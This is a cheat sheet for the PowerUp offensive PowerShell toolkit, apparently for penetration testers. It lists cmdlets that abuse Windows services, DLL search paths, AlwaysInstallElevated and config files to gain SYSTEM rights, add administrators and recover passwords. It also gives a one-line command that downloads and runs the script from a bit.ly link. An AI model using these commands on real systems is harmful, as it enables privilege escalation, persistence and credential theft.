PowerUp Cheat Sheet

Getting Started

Get PowerUp: **http://bit.ly/1SjgT2h**

Load from disk: 1) C:\> **powershell –exec bypass** 2) **PS C:\> Import-Module PowerUp.ps1**

Load from GitHub: PS C:\> **IEX (New-Object Net.WebClient).DownloadString("http://bit.ly/1SjgT2h")**

Load in Cobalt Strike's Beacon: **beacon> powershell-import /local/path/to/PowerUp.ps1** , then **beacon> powershell Invoke-AllChecks**

Getting help: PS C:\> **Get-Help Cmdlet-Name [-detailed] [-full]**

Most PowerUp functions are implemented in Empire in **privesc/powerup/***

Invoke-AllChecks will run all current privilege escalation checks detailed in this guide. The **–HTMLReport** flag will output a HTML version of the report to disk.

Enumerating Service Vulnerabilities

Misconfigured services are a common source of privilege escalation vectors.

Get-ServiceUnquoted	Enumerates all services w/ an unquoted binary path.
Get-ServiceFilePermission	Enumerates all services where the current user can write to the associated binary or its arguments.
Get-ServicePermission	Enumerates all services where a user can modify the binary path for the given service.

Weaponizing Service Vulnerabilities

Invoke-ServiceAbuse abuses a vulnerable service's binPath to execute commands as SYSTEM.

Install-ServiceBinary writes out a C# service binary that executes commands as SYSTEM when the machine reboots.

Both cmdlets accept the following parameters:

Service name to abuse.	**-ServiceName SERVICE**
The username to add (defaults to 'john'). Domain users are not created, only added to the LocalGroup.	**-UserName [DOMAIN\]USER**
The password for the added user (defaults to 'Password123!').	**-Password "P@55Word"**
The group to add the user to (default: 'Administrators').	**-LocalGroup NAME**
Custom command to execute.	**-Command "net…"**

Install-ServiceBinary backs up the original service path to \orig_path.exe.bak. **Restore-ServiceBinary** will restore this backup binary to its original path.

DLL Hijacking

Find-DLLHijack will find hijackable locations for all current services (useful for persistence).

Find-PathHijack checks if the current %PATH% has any directories that are writeable by the current user. Weaponizable for Windows 7 with **Write-HijackDll** and FOLDER\PATH\wlbsctrl.dll.

Write-HijackDll writes out a self-deleting .bat file to \hijackpath\debug.bat that executes a command, and writes out a hijackable .dll that launches the .bat.

Path to write the hijack dll	**-OutputFile PATH\wlbsctrl.dll**
Command for the hijacked .dll to run.	**-Command "net user …"**
Path of the .bat for the hijackable .dll to run.	**-BatPath PATH\y.bat**

Miscellaneous Checks

Get-RegAlwaysInstallElevated	Checks if the "AlwaysInstallElevated" key is set. This means that MSI installation packages always run as SYSTEM. **Write-UserAddMSI** can write out a weaponization package to add a local administrator.
Get-RegAutoLogon	Returns HKLM autoruns where the current user can modify the binary/script (or its config).
Get-VulnAutoRun	Returns HKLM autoruns where the current user can modify the binary/script (or its config).
Get-VulnSchTask	Returns scheduled tasks where the current user can modify the script associated with the task action.
Get-UnattendedInstallFile	Checks for remaining unattend.xml deployment files.
Get-Webconfig	Recovers cleartext and encrypted connection strings from all web.config's. Credit to Scott Sutherland.
Get-ApplicationHost	Recovers encrypted application pool and virtual directory passwords from the applicationHost.config. Credit to Scott Sutherland.

More Information

http://www.harmj0y.net/blog/

http://www.verisgroup.com/adaptive-threat-division/